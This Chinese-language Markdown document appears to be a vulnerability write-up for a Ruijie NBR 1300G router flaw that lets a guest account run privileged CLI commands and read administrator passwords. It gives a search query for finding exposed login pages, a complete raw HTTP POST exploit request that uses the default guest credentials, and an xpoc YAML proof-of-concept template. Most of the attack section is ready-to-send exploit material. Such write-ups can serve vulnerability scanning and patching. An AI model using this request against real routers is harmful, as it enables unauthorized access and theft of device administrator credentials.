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79 lines
2.2 KiB
Markdown
79 lines
2.2 KiB
Markdown
# 锐捷 NBR 1300G 路由器 越权 CLI 命令执行漏洞
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## 漏洞描述
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锐捷 NBR 1300G 路由器 越权 CLI 命令执行漏洞，guest 账户可以越权获取管理员账号密码
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参考链接：
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- https://github.com/chaitin/xray/blob/master/pocs/ruijie-nbr1300g-cli-password-leak.yml
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## 漏洞影响
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```
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锐捷 NBR 路由器
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```
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## 网络测绘
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```
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title="锐捷网络 --NBR路由器--登录界面"
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```
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## 漏洞复现
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登录页面如下
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执行 CLI 命令 `show webmaster user` 查看用户配置账号密码：
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```plain
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POST /WEB_VMS/LEVEL15/ HTTP/1.1
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Host:
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Connection: keep-alive
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Content-Length: 73
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Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
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Content-Type: text/plain;charset=UTF-8
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Accept: */*
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
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Cookie: auth=; user=
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x-forwarded-for: 127.0.0.1
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x-originating-ip: 127.0.0.1
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x-remote-ip: 127.0.0.1
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x-remote-addr: 127.0.0.1
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command=show%webmaster%user&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.
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```
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## 漏洞 POC
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xpoc
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```
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name: poc-yaml-ruijie-nbr1300g-cli-password-leak
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manual: true
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transport: http
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rules:
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r0:
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request:
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cache: true
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method: POST
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path: /WEB_VMS/LEVEL15/
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headers:
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Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
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body: |
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command=show webmaster user&strurl=exec%04&mode=%02PRIV_EXEC&signname=Red-Giant.
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follow_redirects: false
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expression: response.status == 200 && response.body.bcontains(bytes("webmaster level 2 username guest password guest"))
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expression: r0()
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detail:
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author: abbin777
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links:
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- http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7NBR%201300G%E8%B7%AF%E7%94%B1%E5%99%A8%20%E8%B6%8A%E6%9D%83CLI%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
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```
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